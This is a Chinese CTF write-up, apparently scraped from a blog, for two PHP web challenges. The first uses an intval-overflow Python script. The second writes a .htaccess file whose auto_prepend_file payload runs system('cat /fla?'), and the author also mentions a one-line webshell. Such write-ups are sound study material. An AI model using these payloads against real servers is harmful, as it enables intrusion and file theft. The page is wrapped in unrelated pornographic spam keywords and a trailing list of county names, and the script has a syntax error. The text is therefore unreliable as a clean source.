最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

[NCTF 2018]小綠草之最強(qiáng)大腦+[羊城杯 2020]easyphp

2023-02-23 15:59 作者:很菜的wl  | 我要投稿

https://www.ctfer.vip/problem/962

書買好了,但是感覺還是有很多擔(dān)憂的,算辣,考研就嗯干辣,管他的,但是每天應(yīng)該還是會刷一點(diǎn)題,只是不會都寫出來,比如以前寫過的wp或者那種很簡單的,或者寫過很久的知識的那些,大概兩天或者三天一更?

好了言歸正傳:

[NCTF 2018]小綠草之最強(qiáng)大腦

hint:WEB 源碼泄露 PHP

評分:2.8?

一來貌似是很正常的數(shù)字加減,然鵝源碼泄露,掃嘛,或者你自信去試。

這里index.php.bak看到源碼:

這里肯定和if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){這句判斷有關(guān),那就搜索一下intval相關(guān)知識點(diǎn),加上21位的關(guān)鍵詞,搜索到:

md直接看到wp了,那看來考點(diǎn)就是這個了:

https://www.jianshu.com/p/eef45cd643c8

intval為了防止程序整數(shù)溢出,在處理超過2^32時會改變值,也就是在這里超過21位時會改變處理值:

php echo intval('4200000000000000000000');
32位系統(tǒng):2147483647 64位系統(tǒng):9223372036854775807

那我們輸入的數(shù)得到的值和實際處理得到的值肯定不同,那就上腳本咯:

import requests
import re
import time
s = requests.Session()? # 因為要連續(xù)計算,用來保存當(dāng)前會話的持續(xù)有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000"? #輸入的數(shù)字
r = s.get(url)
math = ''
headers = {
??? 'Content-Type': 'application/x-www-form-urlencoded',
??? 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
??? num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
??? num = num_pattern.findall(r.text)?? #正則提取公式
??? gg = "9223372036854775807"+'+'+math.join(num)[0:-1]? #拼接真實的公式
??? print(gg)
??? ans = eval(gg)?? #利用eval直接來計算結(jié)果

??? print(ans)
??? data = "input={number}&ans={ans}%".format(number=number,ans=ans)

??? r =s.post(url,headers=headers,data=data)
??? time.sleep(1.5?? #延時1.5秒
??? print(r.text)

?

把地址改一下跑腳本得到:

[羊城杯 2020]easyphp

hint:web? php? .htaccess

評分:暫時無評分

<?php
????$files?=?scandir('./');?
????foreach($files?as?$file)?{
????????if(is_file($file)){
????????????if?($file?!==?"index.php")?{
????????????????unlink($file);
????????????}
????????}
????}
????if(!isset($_GET['content'])?||?!isset($_GET['filename']))?{
????????highlight_file(__FILE__);
????????die();
????}
????$content?=?$_GET['content'];
????if(stristr($content,'on')?||?stristr($content,'html')?||?stristr($content,'type')?||?stristr($content,'flag')?||?stristr($content,'upload')?||?stristr($content,'file'))?{
????????echo?"Hacker";
????????die();
????}
????$filename?=?$_GET['filename'];
????if(preg_match("/[^a-z\.]/",?$filename)?==?1)?{
????????echo?"Hacker";
????????die();
????}
????$files?=?scandir('./');?
????foreach($files?as?$file)?{
????????if(is_file($file)){
????????????if?($file?!==?"index.php")?{
????????????????unlink($file);
????????????}
????????}
????}
????file_put_contents($filename,?$content?.?"\nHello,?world");
?>

分析源碼:

? $files?=?scandir('./');?
????foreach($files?as?$file)?{
????????if(is_file($file)){
????????????if?($file?!==?"index.php")?{
????????????????unlink($file);
????????????}
????????}
????}

一個遍歷和刪除,意思就是不是index.php頁面就刪除頁面

if(!isset($_GET['content'])?||?!isset($_GET['filename']))?{
????????highlight_file(__FILE__);
????????die();
????}

不用多說,讓你傳這兩個參數(shù),沒有就直接退出

$content?=?$_GET['content'];
????if(stristr($content,'on')?||?stristr($content,'html')?||?stristr($content,'type')?||?stristr($content,'flag')?||?stristr($content,'upload')?||?stristr($content,'file'))?{
????????echo?"Hacker";
????????die();
????}

禁用了on,html,type,flag,upload,file這些東西

?$filename?=?$_GET['filename'];
????if(preg_match("/[^a-z\.]/",?$filename)?==?1)?{
????????echo?"Hacker";
????????die();
????}

只能由小寫字母,和.構(gòu)成filename,因為這里檢測的是返回值:

返回值

返回 pattern 的匹配次數(shù)。 它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配后 將會停止搜索。preg_match_all() 不同于此,它會一直搜索subject 直到到達(dá)結(jié)尾。 如果發(fā)生錯誤preg_match()返回 FALSE。


然后又是一個檢測頁面,最后:

file_put_contents($filename,?$content?.?"\nHello,?world");

這是針對傳入內(nèi)容的過濾,防止我們直接傳入一句話木馬,如果我們直接傳入一句話木馬進(jìn)其他php可以發(fā)現(xiàn):

直接當(dāng)作html輸出了,可能這跟檢查index.php內(nèi)容有關(guān),他可能只解析index.php,那把木馬傳入index.php呢,我發(fā)現(xiàn)有wp寫了這個操作,但是我自己上傳和利用他的去上傳都連接不上蟻劍,也沒有實現(xiàn)該操作的圖,且其他人的wp并未提到這個操作,這里對這個操作存疑。

那么根據(jù)hint,我們聯(lián)想到利用傳入.htaccess文件去改變配置項,為什么不用.user.ini是因為該文件的使用還得包含php文件,我不會= =這里好像也利用不了。

那么我們就老實的學(xué)習(xí)新操作咯:

https://blog.csdn.net/qq_54929891/article/details/125573638

https://blog.51cto.com/u_14449312/3867338

payload:

??? php_value auto_prepend_fil\
??? e .htaccess
??? #<?php system('cat /fla?');?>\

由果求因一波:

首先是:php_value auto_prepend_fil\

e .htaccess

拼接起來:php_value auto_prepend_file .htaccess

也就是.htaccess設(shè)置開頭自動包含和環(huán)境變量的格式:

#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess

這里為什么用/呢是因為首先存在對file的過濾,其次在.htaccess中\(zhòng)的作用是拼接上下文。

auto_prepend_file #在頁面頂部加載文件
auto_append_file? #在頁面底部加載文件


其次是: ?? #<?php system('cat /fla?');?>\

同樣的,#在htaccess文件中是注釋符的意思,但是在執(zhí)行php文件中會直接執(zhí)行后面的一句話,\的作用是注釋后面的拼接,以執(zhí)行命令。


[NCTF 2018]小綠草之最強(qiáng)大腦+[羊城杯 2020]easyphp的評論 (共 條)

分享到微博請遵守國家法律
秭归县| 中牟县| 翁牛特旗| 蒲城县| 青海省| 和林格尔县| 乐昌市| 平定县| 田东县| 灌南县| 栖霞市| 剑阁县| 永胜县| 甘肃省| 满城县| 长丰县| 靖州| 新晃| 清丰县| 习水县| 临西县| 侯马市| 阳西县| 体育| 长沙市| 松阳县| 皮山县| 米林县| 元江| 客服| 鄯善县| 和龙市| 宣威市| 云阳县| 怀柔区| 星子县| 崇州市| 金川县| 咸阳市| 沾化县| 兴山县|